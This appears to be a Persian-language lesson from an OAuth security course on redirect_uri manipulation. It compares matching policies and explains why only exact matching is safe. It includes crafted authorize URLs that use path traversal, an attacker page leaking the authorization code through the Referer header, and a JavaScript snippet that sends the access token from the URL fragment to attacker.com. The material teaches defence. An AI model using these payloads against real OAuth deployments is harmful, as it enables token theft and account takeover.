سرفصل‌های آموزشی
آموزش OAuth و Laravel Passport
آسیب پذیری دست کاری Redirect URI در OAuth

آسیب پذیری دست کاری Redirect URI در OAuth

در دومین قسمت از فصل امنیت OAuth به آسیب پذیری دست کاری Redirect URI می‌پردازیم. در OAuth وظیفه سنجش صحت redirect_uri بر عهده Authorization Server است. در واقع Authorization Server  با مطابقت دادن redirect_uri درخواستی طبق  redirect_uri ثبت شده، عملیات صحت سنجی را انجام می‌دهد. بررسی مطابقت redirect_uri با سیاست های مختلفی انجام می‌شود که در ادامه به معرفی آن‌ها می‌پردازیم.

روش های مختلف تطبیق

هرکدام از روش های مختلف تطبیق، براساس قسمت‌های مختلفی از URL کار می‌کنند. قسمت‌های مختلف یک URL را می‌توانید در تصویر زیر مشاهده کنید:

· تطبیق دقیق (exact matching):

در این شیوه پارامتر redirect_uri دریافتی با مقدار ثبت شده مقایسه می‌شود و اگر دقیقا با هم برابر نبودند، یک پیغام خطا نمایش داده می‌شود. قطعه کد زیر نمونه‌ای از پیاده سازی این روش را نشان می‌دهد:

if (req.query.redirect_uri != client.redirect_uri) {
console.log(‘Mismatched redirect URI, expected %s got %s’,
client.redirect_uri, req.query.redirect_uri);
res.render(‘error’, {error: ‘Invalid redirect URI’});
return;
}

· تطبیق مجاز شمردن subdirectory:

در این روش redirect_uri درخواستی باید دقیقا شامل redirect_uri ثبت شده باشد. برای ساده‌تر شدن موضوع فرض کنید که redirect_uri ثبت شده برابر با https://a.example.com/path باشد. در این حالت، آدرسی معتبر است که در ابتدای آن https://a.example.com/path وجود داشته باشد. نمونه‌ای از این آدرس عبارت است از:

 https://a.example.com/path/subdir/a

مثال‌های زیر نمونه‌ای از آدرس های غیرمنطبق با این روش هستند:

https://a.example.com/ba

http://a.example.com/path

https://example.com/path

· تطبیق مجاز شمردن subdomain:

در این روش اجازه استفاده از subdomain های متفاوت در redirect_uri به کاربر داده می‌شود. نکته موجود درباره این روش این است که redirect_uri های موجود باید در همه قسمت ها به جز subdomain با هم مطابقت داشته باشند تا بتوان از یک redirect_uri درخواستی استفاده کرد. برای نمونه اگر redirect_uri ثبت شده آدرس https://example.com/path باشد آدرس https://sub.example.com/path با این آدرس تطبیق دارد. مثال‌های زیر نمونه هایی از مطابق نبودن با این آدرس در این روش تطبیق هستند.

https://sub.example.org/path

https://sub.example.com/ba

http://sub.example.com/path

 

· تطبیق ترکیبی مجاز شمردن subdirectory و subdomain:

این روش ترکیب دو روش قبلی بوده و انعطاف پذیری در زیر دامنه و path درخواستی را به صورت هم زمان به همراه می‌آورد. برای مثال هنگامی که redirect_uri ثبت شده برابر با https://example.com/path باشد، آدرس های زیر با آن مطابقت دارند.

https://example.com/path/subdir/a 

 https://sub.example.com/path

چندین نمونه از آدرس هایی که بر اساس این روش غیرمنطبق هستند عبارتند از:

https://example.org/path/subdir

https://example.com:8081/path/subdir

https://a.example.com/ba

جدول مقایسه ای زیر نتیجه تطبیق redirect_uri ثبت شده https://example.com/path با چندین آدرس و به شیوه های مختلف است که مشاهده آن به درک بهتر این قسمت کمک می‌کند.

تنها روش همواره امن برای اعتبارسنجی redirect_uri روش تطبیق دقیق است. گرچه سایر روش های اعتبارسنجی انعطاف پذیری مطلوبی را برای توسعه‌دهندگان کلاینت هنگام مدیریت برنامه‌های تحت توسعه به ارمغان می‌آورد، اما تمامی این شیوه ها آسیب پذیر و قابل exploit هستند.

اگر به جای روش تطبیق دقیق از سایر شیوه های اعتبارسنجی استفاده شود، می‌تواند مخاطراتی را با خود به همراه داشته باشد که در ادامه دو حمله روی شیوه های اعتبارسنجی redirect_uri را به صورت کامل مورد بررسی قرار می‌دهیم.


 

 سرقت کد authorization از طریق Header  Referrer

این حمله برای grant نوع authorization code طراحی شده و بر مبنای نشر اطلاعات در هدر HTTP Referrer عمل می‌کند.

فرض کنیم شرکت www.thecloudcompany.biz امکان رجیستر کلاینت های OAuth را فراهم کرده و Authorization Server آن از شیوه تطبیق مجاز شمردنsubdirectory برای اعتبارسنجی redirect_uri استفاده می‌کند. کلاینت OAuth آدرس زیر را به عنوان redirect_uri ثبت کرده است:

https://theoauthclient.com/oauth/oauthprovider/callback

درخواستی که از سمت کلاینت OAuth به Authorization Server ارسال می‌شود به صورت زیر خواهد بود:

https://www.thecloudcompany.biz/authorize?response_type=code&client_id=CLIENT_ID&scope=SCOPES&state=STATE&redirect_uri=https://theoauthclient.com/oauth/oauthprovider/callback

همان ‌طور که مشاهده می‌کنید در درخواست بالا، پارامتر redirect_uri صفحه‌ای که به آن redirect خواهیم شد را مشخص می‌کند. حال اگر بتوانیم در صفحه ی دیگری از این سایت یک آسیب پذیری پیدا کنیم که امکان اضافه کردن یک تگ HTML مانند img  یا iframe را به ما بدهد، می‌توانیم از آن صفحه برای سرقت Access Token استفاده کنیم. برای مثال فرض کنید که در آدرس زیر یک تگ img داشته باشیم که عکسی در وب‌سایت خودمان را بارگذاری می‌کند.

https://theoauthclient.com/usergeneratedcontent/attackerpage.html

آدرس بالا در سایت کلاینت است اما با توجه با این که آدرس با استفاده از تطبیق مجاز شمردنsubdirectory بررسی می‌شود با redirect_uri رجیستر شده که در ابتدای این بخش به آن اشاره شد مطابقت ندارد. برای این کار کافی است تا مانند مثال زیر از آدرس دهی نسبی استفاده کنیم و به آسانی این تطبیق را دور بزنیم.

https://www.thecloudcompany.biz/authorize?response_type=code&client_id=CLIENT_ID&scope=SCOPES&state=STATE&redirect_uri=https://theoauthclient.com/oauth/oauthprovider/callback/../../../usergeneratedcontent/attackerpage.html

اتفاقی که در آدرس بالا رخ می‌دهد این است که در واقع عبارت  ../ معادل رفتن به یک directory قبل تر است. حال در مثال بالا اگر سه بار عبارت ../ را استفاده کنیم به http://theoauthclient.com/ می‌رسیم که در واقع دایرکتوری ریشه است و چون بعد از عبارت های ../ عبارت usergeneratedcontent/attackerpage.html نوشته شده بود در واقع آدرسی که در نهایت به آن خواهیم رسید http://theoauthclient.com/usergeneratedcontent/attackerpage.html که دقیقا صفحه مورد نظر مهاجم است.

redirect_uri=https://theoauthclient.com/oauth/oauthprovider/callback/../../../usergeneratedcontent/attackerpage.html

بنابراین آدرس redirect_uri بالا با استفاده از Path Traversal به ریشه ی سایت رفته و سپس به صفحه ی ایجاد شده توسط مهاجم می‌رسد. استفاده ی Authorization Server از مدل Trust On First Use (TOFU) موجب جلوگیری از نمایش صفحه  authorization به قربانی می‌شود و در این حالت حمله ی موردنظر خطرناک خواهد بود.
در پاسخ Authorization Server، از طریق یک HTTP 302 redirect صفحه ی مهاجم بازدید شده و درخواست زیر توسط مرورگر کاربر به سایت کلاینت ارسال می‌شود.

GET
/oauth/oauthprovider/callback/../../../usergeneratedcontent/attackerpage.html?
code=SyWhvRM2&state=Lwt50DDQKUB8U7jtfLQCVGDL9cnmwHH1 HTTP/1.1
Host: theoauthclient.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0)
Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: keep-alive

 

نمونه‌ای از محتوای صفحه دست کاری شده توسط مهاجم در مثال زیر قابل‌مشاهده است:

<html>
<h1>Authorization in progress </h1>
<img src=”https://attackersite.com/”>
</html>

هنگامی که مرورگر برای بارگذاری عکس بالا به سایت مهاجم درخواست می‌زند، کد authorization از طریق هدر Referer مورد سرقت قرار گرفته و به دست مهاجم می‌رسد. تصویر زیر روند انجام این حمله را نشان می‌دهد:

 

 

سرقت توکن دسترسی از طریق  URI fragment

این حمله برای grant نوع implicit طراحی شده و بر مبنای نشر اطلاعات در URI fragment عمل می‌کند. منظور از URI Fragment قسمتی از URI است که بعد از علامت # قرار می‌گیرد و جاوااسکریپت به آن دسترسی دارد.

در این حمله صفحه مهاجم به صورت مستقیم به Access Token دست می‌یابد. شیوه انجام این حمله بسیار مشابه با حمله پیشین بوده و هنگامی که Authorization Server پاسخ HTTP 302 redirect را ارسال می‌کند، مرورگر کاربر درخواستی مانند مثال زیر را به کلاینت ارسال می‌کند:

GET
/oauth/oauthprovider/callback/../../../usergeneratedcontent/attackerpage.html#access_token=2YotnFZFEjr1zCsicMWpAA&state=Lwt50DDQKUB8U7jtfLQCVGDL9cnmwHH1
HTTP/1.1
Host: theoauthclient.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0)
Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: keep-alive

مهاجم با یک کد ساده جاوااسکریپت می‌تواند به مقدار Access Token دست یابد و پس از ذخیره‌سازی آن کاربر را به هر آدرسی دلخواه منتقل نماید. نمونه‌ای از محتوای صفحه مهاجم می‌تواند به صورت زیر باشد:

<html>
<script>
var access_token = location.hash;
var url = 'http://attacker.com/?access_token='+access_token;
var request = new XMLHttpRequest();
request.open('GET', url);
request.send();
</script>
</html>

همان‌طور که در کد بالا مشاهده می‌کنید هکر با استفاده از جاوااسکریپت، URI Fragment را در متغیری با نام access_token می ریزد و سپس با استفاده از یک درخواست GET، مقدار Access Token را به سایت خود ارسال می‌کند.

این دو حمله بر مبنای استفاده Authorization Server از شیوه تطبیق مجاز شمردنsubdirectory برای اعتبارسنجی redirect_uri انجام شده است. در شرایطی که Authorization Server از شیوه تطبیق مجاز شمردنsubdomain استفاده کرده باشد و هکر در کلاینت OAuth به طریقی امکان ایجاد زیر دامنه یا تحت کنترل گرفتن یکی از زیردامنه های موجود روی دامنه redirect_uri را پیدا کند، این حمله امکان‌پذیر خواهد بود.
برای نمونه، در حالتی که redirect_uri روی دامنه https://theoauthclient.com ثبت شده باشد و صفحه ی تحت کنترل مهاجم روی آدرس https://attacker.theoauthclient.com باشد، آدرس URL مورد استفاده مهاجم به صورت زیر خواهد بود:

https://www.thecloudcompany.biz/authorize?response_type=code&client_id=CLIENT_ID&scope=SCOPES&state=STATE&redirect_uri=https://attacker.theoauthclient.com

صفحه https://attacker.theoauthclient.com مشابه صفحه ی attackerpage.html در مثال قبلی خواهد بود.

online-support-icon